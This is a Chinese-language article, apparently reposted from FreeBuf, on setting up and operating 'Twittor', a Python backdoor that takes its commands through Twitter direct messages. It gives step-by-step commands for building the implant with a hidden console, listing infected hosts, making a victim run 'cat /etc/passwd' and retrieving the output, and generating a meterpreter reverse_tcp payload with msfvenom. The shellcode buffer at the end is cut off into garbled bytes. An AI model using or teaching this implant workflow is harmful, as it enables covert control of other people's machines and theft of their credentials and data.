當Twitter成為一個功能齊全的后門C&C服務(wù)器

責任編輯:editor005

作者:月球下雨了

2015-10-19 14:27:09

摘自:FreeBuf

一個基于Python的隱匿后門可以將Twitter的私信作為命令和控制(C&C)服務(wù)器。$  這里我們想讓B7:76:1F:0B:50:B7 這臺主機執(zhí)行cat etc passwd 命令,輸出信息中的jobid可以讓用來檢索命令輸出結(jié)果。

一個基于Python的隱匿后門可以將Twitter的私信作為命令和控制(C&C)服務(wù)器。這一項目顯然是受到了Gcat后門使用Gmail賬戶作為C&C服務(wù)器的啟發(fā)。

當Twitter成為一個功能齊全的后門C&C服務(wù)器

  設(shè)置

你需要做的準備工作:

·一個推特賬戶(建一個專用賬戶!千萬不要使用你的個人推特!)

·在推特注冊一個具有讀取、編寫以及直接信息權(quán)限的應(yīng)用

安裝依賴包:

$ pip install -r requirements.txt

repo包含以下兩個文件:

·twittor.py 這個是客戶端文件

·implant.py 要真正部署的后門文件

在這兩個文件中,編輯訪問TOKEN部分并添加一個你之前申請推特APP時生成的訪問令牌:

CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

這里簡單說明一下,你可能想用Pyinstaller將implant.py編譯為一個可執(zhí)行程序,為了在使用Pyinstaller的時候移除控制臺窗口,你可以使用 –noconsole –onefile 參數(shù)。

用法

啟動腳本,開始運行客戶端:

$ python twittor.py

你會進入一個提供了一些命令的“交互式”shenll:

$ help

refresh - refresh C&C control

list_bots - list active bots

list_commands - list executed commands

!retrieve - retrieve jobid command

!cmd command - execute the command on the bot

!shellcode shellcode - load and execute shellcode in memory (Windows only)

help - print this usage

exit - exit the client

$

·一旦你在一些系統(tǒng)上安裝了后門,你就可以使用列表命令檢查可用的客戶端:

$ list_bots

B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise

$

輸出信息中用于標識肉雞的唯一ID的是系統(tǒng)的MAC地址,同時也為你提供了正在運行已植入木馬的操作系統(tǒng)信息。如圖是一個Linux主機。

·這里我們發(fā)出一個命令到已植入木馬的主機:

$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd

[+] Sent command "cat /etc/passwd" with jobid: UMW07r2

$

這里我們想讓B7:76:1F:0B:50:B7 這臺主機執(zhí)行cat /etc/passwd 命令,輸出信息中的jobid可以讓用來檢索命令輸出結(jié)果。

·現(xiàn)在我們要獲取命令執(zhí)行結(jié)果了!

$ !retrieve UMW07r2

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

(...)

在這種情況下使用!retrieve [jobid]命令就可以獲取到命令執(zhí)行結(jié)果。

·更新結(jié)果

為了獲取新的肉雞或命令輸出信息,或者想強制客戶端刷新命令執(zhí)行結(jié)果,可以使用refresh命令。

$ refresh

[+] Sending command to retrieve alive bots

[+] Sleeping 10 secs to wait for bots

$

使用refresh命令將會發(fā)送一個PING請求,等待回復(大約10秒左右)。私信消息被解析后,肉雞列表和命令列表將會刷新,其中也包括輸出命令。

·檢索過去的命令

正如前面所說,(之前的)命令將會從老的私信消息進行檢索(最多是200條),通過使用list_commands命令你便可以檢索或者看到這些內(nèi)容。

$ list_commands

8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1

VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1

9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1

aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1

8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1

$

·運行shellcode(Windows主機)

此選項可能是為了方便檢索meterpreter會話,如果有興趣可以看一下這篇文章,很有幫助。

創(chuàng)建你的meterpreter Shellcode,就像下面這樣:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python(...)Payload size: 299 bytes

buf = ""

buf += "üè?

鏈接已復制,快去分享吧

企業(yè)網(wǎng)版權(quán)所有?2010-2024 京ICP備09108050號-6京公網(wǎng)安備 11010502049343號